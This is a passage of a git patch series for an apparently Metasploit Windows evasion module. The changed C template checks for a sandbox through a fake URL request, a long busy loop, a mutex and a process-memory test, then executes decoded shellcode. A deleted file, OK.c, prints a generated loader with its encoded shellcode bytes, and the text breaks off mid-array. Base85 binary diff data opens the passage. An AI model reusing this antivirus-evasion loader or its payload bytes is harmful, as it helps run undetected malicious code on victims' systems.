ze*%P-6g(*B8=!Y3XCP-dDCcc}k0$4rT{)khp%yit=i2vh_H1PMI!Y@UdSR#h6>frH zl&w}|wpHz0JbPxJKqGvIv1d=tVHp}Z7mOh1N(AAVy{%ylXCkBB$6dO}=z=dm1$`Y^ zqb~l+)x`lHx85an(TC({zGV`+l(Ko=-v`^y+Gz8?bZwsABYe>2xxz7=zF30yUrjib z|CtR4t=2n?PU%yWPQCbE9u`(3QS6xXKbglJ({~gOc(Tb=@Gv^%oe;Um=*RRtv&7YD zunv=A-&wZU=<6s_Vf&!I&V|xd-@ybw!$EyflcVYDsH-n7+M`g~L0vSBK^J>~H<~Uc z07vP<7Zpv@GjcvIbuo+#^)2K0np5m4Y>+4s*p}+Hv@$`#Qw_g-^73eGF>o%-qFPHqtxfTTBJ2cLk3c!ZN z(Q6JHfJ1FNHZ2K*z3))qk_Afb)T2sejBjYq&LCKARQ%Cs? zheI0dgO^~)R`-LSMk;8B#9<%&q^r{uL7{{Fi)tKAr*Dlxr!S2`ryl|>)h~3|$uy2W zhCX^64IgPmnlJS8y)2N!8SYKj1D@uM$1&oMXbIZ$@066;bF0BeSn|{kpSLURd>s6; zUj+|pM*uJ&ZX6m)9kAtz+Sp$56~rZiXq9FR*p*ejQUkm{8WBNu?QgC3I4 zpp}OVkDf%QhkR=UEfa?xvH~n94_OOHkRQ{#KLI>t3BEX>tUw=p7rGW*Za7OY-yFF( zt|cf4wL=RD9^>(=BUu7#rItUAX_(S7pZkUVFSYz*SIfiC{Z;^PG!33`HOQwFD3Eqg zJ0)O&tsZH;WxK1L*}%-K9ln05`>Fgu%nPQ9d5gY3ZIs#}tu#iEJT*Co<;R*S=Y6$C z&OZhutXImp5b{yIX?Qtr1Kw!9ZV|eP>M3hUK6Fsd)g#E+SojZsr)21lrsX|VdJ>{n zGOWlbLlS-tILCA^P_6zEAk}8HlDzR9w-o`%uK_85)v1{|kqS|`%Ebw5kZ-Z9khPgV zkIMOR|t<XpQoj zsf??0wZP$1`;mGapA;WKee{Hmoq08tes#dLmcyV5!KWSctLKALa#fNR)ii=d z5sQA6u_=^aJqAc{+%Z=77VwnS`99tBjLw=0UJiig;ruFTRRgESwH89w0P=<@<$3^B z59QMX9H97)@z{?`YlPMBm$w+(pe@tq1`pcC_aS8E0e%|H)G6xy0M3#0PMsFP`e@0H z{UZJXkakd~p9B|5r$EkdP^W`q&?#lDbXtR2P{4N>oyMSdrBh#&RE=l)GAkjc|5tBZ zYxF*XF8=Kjql*)y=;K&jQWsxD2OP~C9|PWK-uR@ei{V#14vrvaBf|<;hQR=^hWYof z8B&H78J`@5<;?f>gLXI`n_oKyIe!t0X{6xT?}aGCZ;(*Vue);o98%$f{_xKrWaSS( znh}Tn;yIk7^@~|Wre92eG{aS~U+_Im)i27z%mBiE@%RY(Vj=oE#->sIVl5yb=R1r} zSGzjJ(gmWcaw7@5G7D2;lq_ zkRt({EVQx;!-pzm>__oKowkAdIevD>HEVJ?v?~I2m;}eunjOY|jzhIr0!TY(KaZk+ zseVc?6Fz7^bAh1jXBAT6qZZJg;T*|+IG(_@2Q#$g|CWcYqphHj+XKz*F^Dm%vT1ZXiqz2_iD`NQ2xL}^&`hb`z7${#L<=E6rUa8{u7X#S8s zQ~ARuaTPw;2cL57=U1Q=Mx#IczUvR0!j%9*8>=3{##o4BF5`45e|Qs8P_XYXcDM?( zls{CVW4N6F0-4K^*YxEDSgJw=nf0aD;wq4@bPA$rhw+Cuj6tX0y4mRTP1FMB(hlnM zeG`pNhxdouTzw7i5C0n7Q~AUCG%6}dIS-B?=a78d5q~x+kkWA9nRMH3-U&Q=Cu-(B zpZCt>OQ08kR43CR%h|&IEU{U8h8S zU5NVQA?m*fQICbF51tbBwIS-fTMxGVXCdl;fCCQN{0*l>y*5Oh@2~`^pA1odD@6U) zQ=(oIqW)-z`YR#ozX(yk`;@4!2vL6|ME!>$>I@GRl>EU{qFxoE&XwDsIXyApAS+0`w;b`r$l{ri28vL_2)v=9|}=_ z{FJCygs9&gqW(;X`hgJjr%#D`d5HR*A?n9N)Nc+^f98~^mxid{8lwJmh-TN8 z0;29p(su(uVH{bY^NN%Y?tDQZ{V+3gg~K}+t}g`<&E4p13X*l|B)SbNtvt6=W zg*bkTxpTP>)q%mZgLf{Expyw~JK>`iIQ-gpq&rRCMZW3YxqJkb0FZW2>IcCB#E7oV za6N&1Th`4!i0@lP(=Y5Pz)@u-I{p})&eJ*SyMQ#DkWQnfc;J^hz2tVI(+@&YytfY? z)amuOqgN{oJCF(=TwyqfH5s+Sa2XJS{ICS|&M(JD)BBy%%pL1lC=n({y+01Ajiz@- z%T{`?2K8Y3joxo{^*;Q!cwS#N-(>mvyS_{EzFuTYgNM;q6~L5ACi^j~2RDtddZ53q zT2g{K&@|M;D`iEvkcase&*RyAlQja*u0^>Vx_9(0KkglUH6$;o8_2RF&_@7L{W5q7 zK$bJ0nTBZZckc+2H=gZXlxlT>X+?%-h(?AlkB)P8mywUn{t`Tl)g2k3?dD6sRuokd zGgi02P1W*T|p1Q_L^4o8OaZC z8)yFp#g%;MbApG_JJ+>T+grRZ;@f)MM}S{|?d(KRasn~o_(wnvY|-NdxJWp-q1gX6iMUXZk24GT^)c@FTKa#9@2G_0VIz1UyP2)A(-Mj%;~gjZv@DCXtq& z*7ak)uORi;+y_vz_DK4B&tHIE08%|W9kTpEqh+@bYU1E>Jk;+FQU6&wt?G(&$np=J zChB*FsGm%yRb8GAS-xis)Mtkz@6CvGZ#ugmME!)$&Y3H z;SYpLm+6{~|=aHAMYTh&rS6oQ}5tEJS^K zi2D5@>g@ifgF2t&1touFi2A`0_1EA=P6zc@Le#f~s2>PXfAKU?|6z!FQ;7QAA?i<^ zCh9MTs5geF-x;F*;Ax`%Qi%G75cOL_)bBn`)L#fuUl*c&Q;0ghQac@1_k4)@+7R^{ zLe%-@!|9;@T!?yYi29xo^-E6^^=CrVYeLiqL)7_p*6C>b@euVDA?kf0>eZ)-`qLrm z)gkI#A?l1EcskntWQclIh&tzxnwFYW_!0`|d#$t?Jeg^|xFOQ>hji$4os7 zsL<;e|BE>bkGJ18D;ou1|1Cf-Z&F*wfC5UyW&*%B& z6d>*WZEd(x&;AT`u4I^bf~t9l^_aCmlCtgqWS(9Nf!r zl=DGAZVI&PQ-D0`Lii1DSE|LT057ag)%-XwVH;k}&l6JMhx~*Pl=E=j1_XtCkSSj_ynsr)x3f9`xi!Gg^?(?!uB7o1Kv0cO@{a&w#$1K-G$1@Y zEq^Nn`5hn&fa7T}iIra%Nr_YIYZt$2JsGIyML>=PApgQr0m<{bNgf_Q zQN5Ib+>i5^zF4a1URe&j+uQaiE&F@<9iikDjs3%acXBM}<2Z(wiMu_T_&A$Gw zAg$JH;CgL8iBd;gug-ej1Vla4RQ2$C!HrGy8>FLXMc^X9pbwG+gx<#MJ7)l5)?ihs zrGVhSrp_-4xhq;%K+bD`VAdg3sqKK67-b5w7m(Qj`P{~8-I{szQ9#VPmMZmGK!Pp( zG9W(;=;BpC%y)>Y)PDkU(B&}I(%glO53L(KNJ{NBSR3Hy_bA1~v%`G7wB|u(0zzGo zj-quAAkPH&xsauh>6N+ykfs369zc!t6n_W=?d3;qg_p9M;N84$1M(pp*& zO@dab>PZb?Ye=MwohqJR&^0S4x8!T3Pe89Uc-R^QIC}!Leh$by)imAqLOcLm>*9b` zM^AH?wbqk!w~~C53qf(~ER^!*B!rv;$m4E3gscPP7Xe5MAUr&&ULS&d5RgNGQV&X; z0$-^o09k-~JUM?|;?(+ZP5{E*@6kF5$n$}k-vq>bpQ5Ci#KWkgE>5a>M{hqS{I>?$ zJ{dS1FIYmATFOUQI6PW)fIJc?wNc}E{j?R3L6;WG@6|Y7%^wDY7NsDmRBsO_ns*0k zJ_;P_+|&C%079$N_5+LRghkPB_#~!jc|89MASSK|{Mf)?e@{zyUv+@iuS2DZAqsNn zjd6yV`oJnt%*jfOEHtLmGPl zq4qr6;B(P~NP4Y!43Kiy*Qwo6VLySIp9KyNkLMGBm^&$DtN#_k$t_YF=y#MB}(z+TrCI*+HbsZoF0xi7@kVdy2mOlsx50B?B021uo-wNUU zggAk={}PaA0+9a&q&h%-3f|Ly+J($VsMUUwVz30>FR)7piNLsQry zHPxcFP(^sgp5~6WR&2nl;n<0nd*HHjHun!o=1`;DITy19Y(m;UI0W3C%>${H7P(0< zc6Qx}P`&iP>CHeoDFVIx&Uejb2yl#WvEJ)B-4A||#$_GcJqdI6t$Q!P8&TCPnE z^>?YKFtgLrl~STZeU&mKCaARbraHQMcQkjUS|LbmO6&(wwg6EVoy}bso?9_{-Rs}} zR&FXQgR8UP-kub`s**L;E?y$*(jZo$L4#dr6^S8Ve{Eo;)@;43Y0bLI#ekXpn^9qZ zTOS6d6uw6wc6W3Cwb)>}Ww5iiC&gKQ^Ny}Ig7@gXWx*;wULXqFG5n6wyJ0tE2(d#! zL>X#-bLT*t$IrmvB?E2!8}TtjeLor1SZSMCLrFbD@KG&oeUho2%DUk(ObL9&$UUu7 z*S76d0M(GQ392>sHTKV^tW~QVh3nbuUjbP z--_5D$zUNVQd+$j|;zdpFUym_`q`|F9Nf`aZ^K zmDTTQBNM=CtoL)!FtDk&$EdxbXU$N5e_PL>#PBG$^$c~VI=iLWban3NZ|>ilV%%sN z1hy!LF?IItNVO03fP_*!cI1XJ>|&Es(2a6a=A9*!8YN#a&?BUz_mfY1P0zL}Wv{JVzHHgjWmZaW!`#^4JBXfByLdSTvE`CYO$~5Cja%z4 zS-Uy4rGCTaHK`2^TboEB#V5te^D=n>R^2uzNh-Tu+q8L$hYVT6U^?NDo4bNULVd;E z-<%2p7iyA6evndkIVqI|-EU|f7)00W?XN{A-P$&INssDWt?p*k7j$;PWs;{g{cW(; zjYD|&S*M(gpR0?9+WPmpzGuK|SqhdB*d-lzUe|&hS-7cd09>Fa47JH-OJIZR2-m>< zbmC@BcL<`aZR^4ammwnstLqz(JKAgNhKOu=b4zz?7d^ftp{C+c0@gklZ`8NDwp0#p zl2X0xYz6#0McO%-A)~(y?hD(*WquGV6e8+%)ay4uv#q0ZBWp1HFXX}vyc{Ich@=gdeFsD^_s5U0c`-D{^hd>PC(R*03N)fryD~8i*M*{ zZq;5(T8yb^b6;D}CH-A>wM#fgOB(48P6D9`Jxt!d=aJoS@;Cs2iBqt~84#HEdR!-UkLD`31 zuEh}5+0~W`SeZiD(AK;wqu-ac>UAYo@_l3uj47`i>I2ZJ-&SF$oTSq9Ji$?{P!!;r zZ&rytk6Zxk1acpKPGiIwcB~l&cfE{iD))2e_N03D(+oqOA6Yj=vFy{38PTMl^^aT1 zVg`K;Pxmfjd7xL`eRZ|; z_UwWXrLLO02RhVJgj+Sn7K}-$PTcKubs5=&dT6k-^=#eQyBqxt=!P%~%YNt)*2<+5 zQ>FV_`n1i!DGfJ{kWq}N14F%LKy3g--Lz%UOPT}sb!yWT`LI9ur$!%m1G zbL54Yk#=L&gS1?BrF9K?GwgS}Y0h?MLk~J}kDTtf&d(h@jn`CK*9zq=wVok0Wtx!= zJLw$RDWwmOW0(%PclYE>KBw4$8K^N*0=+>-^>HfR7qkqDp=|@wYPqwR3=_A^a~P}w d$d!NBJElzue7fN6MA{5&IRB&^sD5Pl{{j9HK1%=q literal 0 HcmV?d00001 diff --git a/modules/evasion/windows/no_shellcode.rb b/modules/evasion/windows/no_shellcode.rb index 14e3c4a69844..cb6a9172424f 100644 --- a/modules/evasion/windows/no_shellcode.rb +++ b/modules/evasion/windows/no_shellcode.rb @@ -48,7 +48,6 @@ def get_payload_bytes() s = "" i = 0 j = 0 - print_status("payload : #{payload}") vector = rand(1..1024) while j < get_payload[:size] s += " buf[#{j}] = \'\\x#{((payload[i]+payload[i+1]).hex + vector).to_s(16).rjust(2, "0")}\'-#{vector};\n" @@ -61,43 +60,83 @@ def get_payload_bytes() def c_template @c_template ||= %Q| #include +#include +#include +#pragma comment(lib, "Psapi.lib") +#pragma comment(lib, "Wininet.lib") // The encrypted code allows us to get around static scanning -#define MEM 10000000 int size = #{get_payload[:size]}; char *buf[#{get_payload[:size]}]; -int main() { - #{get_payload_bytes()} - char *bb = malloc(MEM); - memset(bb, 22, MEM); - free(bb); +#define max_op #{rand(100000000..500000000)} -HANDLE mutex; -mutex = CreateMutex(NULL, TRUE, "muuuu"); - if (GetLastError() == ERROR_ALREADY_EXISTS) +int check_url() { -; + char cononstart[] = "https://www.#{Rex::Text.rand_text_alpha(rand(10..20))}.com"; //Invalid URL + char readbuf[1024]; + HINTERNET httpopen, openurl; + DWORD read; + httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); + openurl=InternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD\|INTERNET_FLAG_NO_CACHE_WRITE,NULL); + if (!openurl) // Access failed, we are not in AV + { + InternetCloseHandle(httpopen); + InternetCloseHandle(openurl); + return 1; + } + else + { + InternetCloseHandle(httpopen); + InternetCloseHandle(openurl); + return 0; + } + return 0; } -else + + +int main(int argc, char **argv) { -exit(0); -} - // Checking NULL allows us to get around Real-time protection + if (!check_url()) + exit(1); + #{get_payload_bytes} + int cpt = 0; + int i = 0; + for (i = 0; i < max_op; i++) { + cpt++; + } + if (cpt == max_op) { + HANDLE mutex; + mutex = CreateMutex(NULL, TRUE, "#{Rex::Text.rand_text_alpha(5)}"); + if (GetLastError() == ERROR_ALREADY_EXISTS) + { + ; + } + else + { + + exit(0); + } + PROCESS_MEMORY_COUNTERS pmc; + GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)); + if(!(pmc.WorkingSetSize<=3500000)) + { + exit(#{rand(1..255)}); + } + // Checking NULL allows us to get around Real-time protection void (*func)(); func = (void (*)()) buf; (void)(*func)(); - - return 0; + return 0; + } }| end def run - i = 0 # The randomized code allows us to generate a unique EXE - m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: "OK", compile_options: " " }) + m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: "OK", compile_options: " -lpsapi -lwininet " }) bin = m.compile_c(c_template) print_status("Compiled executable size: #{bin.length}") file_create(bin) From 121986c5850b8b03c6c356a0dfc4eba65474c8a0 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Mon, 23 Jan 2023 22:37:45 +0100 Subject: [PATCH 05/22] rm bin and exe file --- OK.c | 1579 -------------------------------------------------------- OK.exe | Bin 117447 -> 0 bytes 2 files changed, 1579 deletions(-) delete mode 100644 OK.c delete mode 100755 OK.exe diff --git a/OK.c b/OK.c deleted file mode 100644 index c54f976fbecc..000000000000 --- a/OK.c +++ /dev/null @@ -1,1579 +0,0 @@ - -#include -#include -#include -#pragma comment(lib, "Psapi.lib") -#pragma comment(lib, "Wininet.lib") - -// The encrypted code allows us to get around static scanning - -int size = 1505; -char *buf[1505]; - -#define max_op 419454535 - -int check_url() -{ - char cononstart[] = "https://www.jHpMPOZseyiKmwu.com"; //Invalid URL - char readbuf[1024]; - HINTERNET httpopen, openurl; - DWORD read; - httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); - openurl=InternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE,NULL); - if (!openurl) // Access failed, we are not in AV - { - InternetCloseHandle(httpopen); - InternetCloseHandle(openurl); - return 1; - } - else - { - InternetCloseHandle(httpopen); - InternetCloseHandle(openurl); - return 0; - } - return 0; -} - - -int main(int argc, char **argv) -{ - - if (!check_url()) - exit(1); - buf[0] = '\x22c'-496; - buf[1] = '\x240'-496; - buf[2] = '\x2cc'-496; - buf[3] = '\x285'-496; - buf[4] = '\x227'-496; - buf[5] = '\x20d'-496; - buf[6] = '\x233'-496; - buf[7] = '\x2a5'-496; - buf[8] = '\x260'-496; - buf[9] = '\x1fb'-496; - buf[10] = '\x288'-496; - buf[11] = '\x2c1'-496; - buf[12] = '\x274'-496; - buf[13] = '\x21f'-496; - buf[14] = '\x29d'-496; - buf[15] = '\x29d'-496; - buf[16] = '\x276'-496; - buf[17] = '\x251'-496; - buf[18] = '\x2c6'-496; - buf[19] = '\x1f1'-496; - buf[20] = '\x202'-496; - buf[21] = '\x20e'-496; - buf[22] = '\x275'-496; - buf[23] = '\x25a'-496; - buf[24] = '\x20d'-496; - buf[25] = '\x1fc'-496; - buf[26] = '\x209'-496; - buf[27] = '\x27f'-496; - buf[28] = '\x2cd'-496; - buf[29] = '\x2a2'-496; - buf[30] = '\x281'-496; - buf[31] = '\x298'-496; - buf[32] = '\x25e'-496; - buf[33] = '\x28a'-496; - buf[34] = '\x2b9'-496; - buf[35] = '\x244'-496; - buf[36] = '\x20d'-496; - buf[37] = '\x283'-496; - buf[38] = '\x1f2'-496; - buf[39] = '\x204'-496; - buf[40] = '\x232'-496; - buf[41] = '\x238'-496; - buf[42] = '\x2b1'-496; - buf[43] = '\x223'-496; - buf[44] = '\x270'-496; - buf[45] = '\x269'-496; - buf[46] = '\x1f9'-496; - buf[47] = '\x20d'-496; - buf[48] = '\x249'-496; - buf[49] = '\x239'-496; - buf[50] = '\x23d'-496; - buf[51] = '\x241'-496; - buf[52] = '\x229'-496; - buf[53] = '\x209'-496; - buf[54] = '\x212'-496; - buf[55] = '\x2cc'-496; - buf[56] = '\x2b2'-496; - buf[57] = '\x244'-496; - buf[58] = '\x2cb'-496; - buf[59] = '\x2d8'-496; - buf[60] = '\x254'-496; - buf[61] = '\x27c'-496; - buf[62] = '\x223'-496; - buf[63] = '\x221'-496; - buf[64] = '\x288'-496; - buf[65] = '\x2bc'-496; - buf[66] = '\x22c'-496; - buf[67] = '\x2d4'-496; - buf[68] = '\x298'-496; - buf[69] = '\x2ec'-496; - buf[70] = '\x2d7'-496; - buf[71] = '\x2b3'-496; - buf[72] = '\x2bd'-496; - buf[73] = '\x2e8'-496; - buf[74] = '\x247'-496; - buf[75] = '\x220'-496; - buf[76] = '\x2e7'-496; - buf[77] = '\x27f'-496; - buf[78] = '\x2a4'-496; - buf[79] = '\x238'-496; - buf[80] = '\x284'-496; - buf[81] = '\x2cf'-496; - buf[82] = '\x2e2'-496; - buf[83] = '\x2da'-496; - buf[84] = '\x2dd'-496; - buf[85] = '\x266'-496; - buf[86] = '\x218'-496; - buf[87] = '\x215'-496; - buf[88] = '\x2a2'-496; - buf[89] = '\x251'-496; - buf[90] = '\x2b6'-496; - buf[91] = '\x27f'-496; - buf[92] = '\x2a0'-496; - buf[93] = '\x1f5'-496; - buf[94] = '\x1ff'-496; - buf[95] = '\x259'-496; - buf[96] = '\x262'-496; - buf[97] = '\x253'-496; - buf[98] = '\x290'-496; - buf[99] = '\x2eb'-496; - buf[100] = '\x27e'-496; - buf[101] = '\x232'-496; - buf[102] = '\x262'-496; - buf[103] = '\x285'-496; - buf[104] = '\x252'-496; - buf[105] = '\x2b9'-496; - buf[106] = '\x259'-496; - buf[107] = '\x26e'-496; - buf[108] = '\x1fb'-496; - buf[109] = '\x236'-496; - buf[110] = '\x24e'-496; - buf[111] = '\x2bd'-496; - buf[112] = '\x1f8'-496; - buf[113] = '\x227'-496; - buf[114] = '\x276'-496; - buf[115] = '\x220'-496; - buf[116] = '\x20b'-496; - buf[117] = '\x27e'-496; - buf[118] = '\x26d'-496; - buf[119] = '\x2b9'-496; - buf[120] = '\x256'-496; - buf[121] = '\x242'-496; - buf[122] = '\x21b'-496; - buf[123] = '\x298'-496; - buf[124] = '\x28f'-496; - buf[125] = '\x219'-496; - buf[126] = '\x1f0'-496; - buf[127] = '\x274'-496; - buf[128] = '\x2bb'-496; - buf[129] = '\x28e'-496; - buf[130] = '\x287'-496; - buf[131] = '\x2cc'-496; - buf[132] = '\x25f'-496; - buf[133] = '\x25e'-496; - buf[134] = '\x2c1'-496; - buf[135] = '\x1f1'-496; - buf[136] = '\x276'-496; - buf[137] = '\x236'-496; - buf[138] = '\x21a'-496; - buf[139] = '\x2d6'-496; - buf[140] = '\x2a3'-496; - buf[141] = '\x2b8'-496; - buf[142] = '\x263'-496; - buf[143] = '\x2d8'-496; - buf[144] = '\x228'-496; - buf[145] = '\x224'-496; - buf[146] = '\x2e7'-496; - buf[147] = '\x203'-496; - buf[148] = '\x262'-496; - buf[149] = '\x2be'-496; - buf[150] = '\x2b6'-496; - buf[151] = '\x261'-496; - buf[152] = '\x215'-496; - buf[153] = '\x222'-496; - buf[154] = '\x1f4'-496; - buf[155] = '\x1f8'-496; - buf[156] = '\x27d'-496; - buf[157] = '\x2d5'-496; - buf[158] = '\x21a'-496; - buf[159] = '\x2ac'-496; - buf[160] = '\x233'-496; - buf[161] = '\x29e'-496; - buf[162] = '\x2a3'-496; - buf[163] = '\x25e'-496; - buf[164] = '\x2b7'-496; - buf[165] = '\x1fe'-496; - buf[166] = '\x282'-496; - buf[167] = '\x21b'-496; - buf[168] = '\x2c1'-496; - buf[169] = '\x296'-496; - buf[170] = '\x2b4'-496; - buf[171] = '\x2ae'-496; - buf[172] = '\x2d1'-496; - buf[173] = '\x293'-496; - buf[174] = '\x296'-496; - buf[175] = '\x239'-496; - buf[176] = '\x2ee'-496; - buf[177] = '\x216'-496; - buf[178] = '\x2c9'-496; - buf[179] = '\x217'-496; - buf[180] = '\x22e'-496; - buf[181] = '\x255'-496; - buf[182] = '\x2ed'-496; - buf[183] = '\x296'-496; - buf[184] = '\x28e'-496; - buf[185] = '\x260'-496; - buf[186] = '\x28b'-496; - buf[187] = '\x20b'-496; - buf[188] = '\x25a'-496; - buf[189] = '\x28e'-496; - buf[190] = '\x295'-496; - buf[191] = '\x2e7'-496; - buf[192] = '\x2c9'-496; - buf[193] = '\x29e'-496; - buf[194] = '\x2d2'-496; - buf[195] = '\x2c2'-496; - buf[196] = '\x27a'-496; - buf[197] = '\x270'-496; - buf[198] = '\x21b'-496; - buf[199] = '\x2a0'-496; - buf[200] = '\x234'-496; - buf[201] = '\x27e'-496; - buf[202] = '\x2ed'-496; - buf[203] = '\x2ba'-496; - buf[204] = '\x1f3'-496; - buf[205] = '\x29b'-496; - buf[206] = '\x2c3'-496; - buf[207] = '\x285'-496; - buf[208] = '\x265'-496; - buf[209] = '\x25e'-496; - buf[210] = '\x21a'-496; - buf[211] = '\x269'-496; - buf[212] = '\x263'-496; - buf[213] = '\x235'-496; - buf[214] = '\x245'-496; - buf[215] = '\x2ec'-496; - buf[216] = '\x25b'-496; - buf[217] = '\x2e7'-496; - buf[218] = '\x2cc'-496; - buf[219] = '\x2ce'-496; - buf[220] = '\x2b0'-496; - buf[221] = '\x260'-496; - buf[222] = '\x27d'-496; - buf[223] = '\x2a1'-496; - buf[224] = '\x230'-496; - buf[225] = '\x1f5'-496; - buf[226] = '\x2bf'-496; - buf[227] = '\x22f'-496; - buf[228] = '\x238'-496; - buf[229] = '\x1fd'-496; - buf[230] = '\x25c'-496; - buf[231] = '\x262'-496; - buf[232] = '\x2e6'-496; - buf[233] = '\x1fd'-496; - buf[234] = '\x2e4'-496; - buf[235] = '\x2cb'-496; - buf[236] = '\x204'-496; - buf[237] = '\x2e3'-496; - buf[238] = '\x27a'-496; - buf[239] = '\x217'-496; - buf[240] = '\x27c'-496; - buf[241] = '\x1f7'-496; - buf[242] = '\x237'-496; - buf[243] = '\x2d3'-496; - buf[244] = '\x2df'-496; - buf[245] = '\x1f7'-496; - buf[246] = '\x2e0'-496; - buf[247] = '\x20e'-496; - buf[248] = '\x294'-496; - buf[249] = '\x283'-496; - buf[250] = '\x276'-496; - buf[251] = '\x2dc'-496; - buf[252] = '\x2c0'-496; - buf[253] = '\x2c2'-496; - buf[254] = '\x2dc'-496; - buf[255] = '\x25e'-496; - buf[256] = '\x22e'-496; - buf[257] = '\x2a5'-496; - buf[258] = '\x24d'-496; - buf[259] = '\x28b'-496; - buf[260] = '\x2b3'-496; - buf[261] = '\x26c'-496; - buf[262] = '\x20b'-496; - buf[263] = '\x214'-496; - buf[264] = '\x282'-496; - buf[265] = '\x239'-496; - buf[266] = '\x2c9'-496; - buf[267] = '\x1fd'-496; - buf[268] = '\x263'-496; - buf[269] = '\x2ce'-496; - buf[270] = '\x279'-496; - buf[271] = '\x241'-496; - buf[272] = '\x2c0'-496; - buf[273] = '\x21a'-496; - buf[274] = '\x1f1'-496; - buf[275] = '\x2de'-496; - buf[276] = '\x27d'-496; - buf[277] = '\x2bd'-496; - buf[278] = '\x2cb'-496; - buf[279] = '\x27e'-496; - buf[280] = '\x1f1'-496; - buf[281] = '\x1f9'-496; - buf[282] = '\x2ca'-496; - buf[283] = '\x28c'-496; - buf[284] = '\x2c0'-496; - buf[285] = '\x209'-496; - buf[286] = '\x273'-496; - buf[287] = '\x2a9'-496; - buf[288] = '\x23d'-496; - buf[289] = '\x2d8'-496; - buf[290] = '\x24a'-496; - buf[291] = '\x20f'-496; - buf[292] = '\x266'-496; - buf[293] = '\x2bb'-496; - buf[294] = '\x27e'-496; - buf[295] = '\x250'-496; - buf[296] = '\x2a8'-496; - buf[297] = '\x259'-496; - buf[298] = '\x26d'-496; - buf[299] = '\x273'-496; - buf[300] = '\x259'-496; - buf[301] = '\x226'-496; - buf[302] = '\x219'-496; - buf[303] = '\x210'-496; - buf[304] = '\x22e'-496; - buf[305] = '\x215'-496; - buf[306] = '\x2dd'-496; - buf[307] = '\x2de'-496; - buf[308] = '\x2d8'-496; - buf[309] = '\x279'-496; - buf[310] = '\x1fc'-496; - buf[311] = '\x281'-496; - buf[312] = '\x251'-496; - buf[313] = '\x2b1'-496; - buf[314] = '\x2a8'-496; - buf[315] = '\x2d6'-496; - buf[316] = '\x212'-496; - buf[317] = '\x235'-496; - buf[318] = '\x1f6'-496; - buf[319] = '\x23b'-496; - buf[320] = '\x2e9'-496; - buf[321] = '\x2e1'-496; - buf[322] = '\x2ce'-496; - buf[323] = '\x294'-496; - buf[324] = '\x21a'-496; - buf[325] = '\x25d'-496; - buf[326] = '\x2cd'-496; - buf[327] = '\x1fb'-496; - buf[328] = '\x2ce'-496; - buf[329] = '\x25e'-496; - buf[330] = '\x2b1'-496; - buf[331] = '\x249'-496; - buf[332] = '\x223'-496; - buf[333] = '\x27b'-496; - buf[334] = '\x222'-496; - buf[335] = '\x2ba'-496; - buf[336] = '\x238'-496; - buf[337] = '\x2c0'-496; - buf[338] = '\x277'-496; - buf[339] = '\x28c'-496; - buf[340] = '\x237'-496; - buf[341] = '\x2b3'-496; - buf[342] = '\x2ea'-496; - buf[343] = '\x2c7'-496; - buf[344] = '\x2b7'-496; - buf[345] = '\x2e7'-496; - buf[346] = '\x292'-496; - buf[347] = '\x2c5'-496; - buf[348] = '\x209'-496; - buf[349] = '\x2ef'-496; - buf[350] = '\x2ba'-496; - buf[351] = '\x235'-496; - buf[352] = '\x29f'-496; - buf[353] = '\x27c'-496; - buf[354] = '\x28d'-496; - buf[355] = '\x2c0'-496; - buf[356] = '\x2c9'-496; - buf[357] = '\x28d'-496; - buf[358] = '\x1fe'-496; - buf[359] = '\x229'-496; - buf[360] = '\x2c8'-496; - buf[361] = '\x24b'-496; - buf[362] = '\x26c'-496; - buf[363] = '\x23e'-496; - buf[364] = '\x27c'-496; - buf[365] = '\x2de'-496; - buf[366] = '\x289'-496; - buf[367] = '\x2b1'-496; - buf[368] = '\x2e7'-496; - buf[369] = '\x286'-496; - buf[370] = '\x22f'-496; - buf[371] = '\x2e3'-496; - buf[372] = '\x295'-496; - buf[373] = '\x242'-496; - buf[374] = '\x225'-496; - buf[375] = '\x2b4'-496; - buf[376] = '\x20c'-496; - buf[377] = '\x20b'-496; - buf[378] = '\x263'-496; - buf[379] = '\x224'-496; - buf[380] = '\x2d7'-496; - buf[381] = '\x229'-496; - buf[382] = '\x219'-496; - buf[383] = '\x2d3'-496; - buf[384] = '\x1fa'-496; - buf[385] = '\x2df'-496; - buf[386] = '\x226'-496; - buf[387] = '\x223'-496; - buf[388] = '\x241'-496; - buf[389] = '\x295'-496; - buf[390] = '\x252'-496; - buf[391] = '\x263'-496; - buf[392] = '\x2ee'-496; - buf[393] = '\x246'-496; - buf[394] = '\x264'-496; - buf[395] = '\x25e'-496; - buf[396] = '\x2c3'-496; - buf[397] = '\x2b6'-496; - buf[398] = '\x20d'-496; - buf[399] = '\x208'-496; - buf[400] = '\x2c4'-496; - buf[401] = '\x24b'-496; - buf[402] = '\x271'-496; - buf[403] = '\x259'-496; - buf[404] = '\x26c'-496; - buf[405] = '\x24f'-496; - buf[406] = '\x23a'-496; - buf[407] = '\x235'-496; - buf[408] = '\x214'-496; - buf[409] = '\x1f2'-496; - buf[410] = '\x254'-496; - buf[411] = '\x250'-496; - buf[412] = '\x229'-496; - buf[413] = '\x264'-496; - buf[414] = '\x252'-496; - buf[415] = '\x2ab'-496; - buf[416] = '\x296'-496; - buf[417] = '\x260'-496; - buf[418] = '\x203'-496; - buf[419] = '\x275'-496; - buf[420] = '\x1fa'-496; - buf[421] = '\x276'-496; - buf[422] = '\x25b'-496; - buf[423] = '\x20f'-496; - buf[424] = '\x26e'-496; - buf[425] = '\x295'-496; - buf[426] = '\x27c'-496; - buf[427] = '\x215'-496; - buf[428] = '\x2c9'-496; - buf[429] = '\x210'-496; - buf[430] = '\x2ba'-496; - buf[431] = '\x1fb'-496; - buf[432] = '\x25a'-496; - buf[433] = '\x2a9'-496; - buf[434] = '\x21c'-496; - buf[435] = '\x209'-496; - buf[436] = '\x2dd'-496; - buf[437] = '\x2e4'-496; - buf[438] = '\x270'-496; - buf[439] = '\x269'-496; - buf[440] = '\x26f'-496; - buf[441] = '\x262'-496; - buf[442] = '\x218'-496; - buf[443] = '\x2b9'-496; - buf[444] = '\x23e'-496; - buf[445] = 